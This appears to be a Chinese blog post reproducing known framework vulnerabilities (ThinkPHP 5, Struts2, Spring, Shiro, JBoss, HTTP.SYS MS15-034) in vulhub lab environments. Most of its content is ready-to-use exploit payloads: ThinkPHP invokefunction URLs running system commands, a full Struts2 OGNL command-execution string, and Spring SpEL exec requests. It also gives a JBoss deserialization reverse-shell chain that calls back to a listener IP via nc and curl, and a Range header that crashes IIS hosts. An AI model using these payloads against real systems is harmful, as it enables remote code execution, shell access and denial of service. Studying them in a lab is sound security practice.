当前位置: 首页 > article >正文

常见框架漏洞复现

1、Thinkphp5x远程命令执行及getshell

1、环境配置

靶场:vulhub/thinkphp/5-rce
docker-compose up -d

2、漏洞利用

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。

远程命令执行

poc:

? s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[ 1][]=-1

poc:

? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=whoami

2、status2

1、访问靶机地址

2、在url处输⼊http://47.121.212.195:8080/struts2-

showcase/ ${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了。

3、将上⾯验证payload的值修改为我们的利⽤exp:

$%7B%0A%28%23dm%3D@ognl.0gnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23 request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.o pensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getIns tance%28@com.opensymphony.xwork2.ognl.0gnlUtil@class%29%29.%28%23ou.getExcl udedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.cle ar%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Run time@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.I OUtils@toString%28%23a.getInputStream%28%29%29%29%7D

3、Spring

1、Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)

1、 访问 http://123.57.211.129:8080/customers/1 ,然后抓取数据包,使⽤PATCH请求来修改

2、

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace" , "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new
byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname" , "value":"vulhub" }]
其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码

成功发送数据包之后,可以进⼊docker容器内查看是否执⾏命令
进⼊docker容器:

4、spring 代码执⾏ (CVE-2018-1273)

1、

2、填写注册信息,bp抓包:

3、加上 poc :

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
ouch /tmp/crz")]=&password=&repeatedPassword=

5、Shiro rememberMe反序列化漏洞(Shiro-550)

1、

2、使⽤BurpSuite进⾏抓包,在请求包中的cookie字段中添加rememberMe=123;

看响应包 header中是否返回 rememberMe=deleteMe值,若有,则证明该系统使⽤了Shiro框架

3、命令执行

6、JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

1、漏洞复现

2、输⼊http://123.57.211.129:8081/invoker/EJBInvokerServlet 返回如图,说明接⼝开放,存在

反序列化漏洞:

3、#创建class⽂件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

# 创建反序列化⽂件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHas hMap
47.121.212.195:8888
# 监听8888 端⼝
nc -lvvp 8888
#psot 提交
curl http://123.57.211.129 :8081/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

7、HTTP.SYS远程代码执⾏(MS15-034) MS-->Microsoft 2015 -034

1、访问⽹站;

2、编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416

Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执⾏漏洞。

3、使用工具

4、这时候就可以看到虚拟机已经变卡了,甚⾄蓝屏。


http://www.kler.cn/a/325613.html

相关文章:

  • Java 设计模式 详解
  • 23种设计模式-备忘录(Memento)设计模式
  • qt之QFTP对文件夹(含嵌套文件夹和文件)、文件删除下载功能
  • 2024年11月19日随笔
  • 问:Spring MVC DispatcherServlet流程步骤梳理
  • Android CPU核分配关联进程
  • IT运维挑战与对策:构建高效一体化运维管理体系
  • Chapter 2 - 1. Understanding Congestion in Fibre Channel Fabrics
  • Redis: RDB与AOF的选择和容灾备份以及Redis数据持久化的优化方案
  • X86架构(九)——保护模式的进入
  • Hive数仓操作(三)
  • 使用Vue.extend( ) 模仿 elementui 创建一个类似 message 消息提示框
  • AI大模型之旅-最强开源文生图工具Stable Diffusion WebUI 教程
  • Safari 浏览器中的 <audio> 标签的控件无效 - 解决方法
  • linux信号 | 学习信号三步走 | 全解析信号的产生方式
  • 数据结构双链表和循环链表
  • 高级主题:接口性能测试与压力测试
  • 0基础跟德姆(dom)一起学AI 数据处理和统计分析08-日期类型处理,Matplotlib介绍
  • 事务的四大特性(ACID)
  • 直接用Bash发送HTTP请求 —— 筑梦之路
  • 【代码随想录Day27】贪心算法Part01
  • C#基于SkiaSharp实现印章管理(10)
  • 【Linux的内存管理】
  • zy81_C#中在窗体中实现坐标变换
  • 基于SSM的“银发在线教育云平台”的设计与实现(源码+数据库+文档)
  • Race Karts Pack 全管线 卡丁车赛车模型素材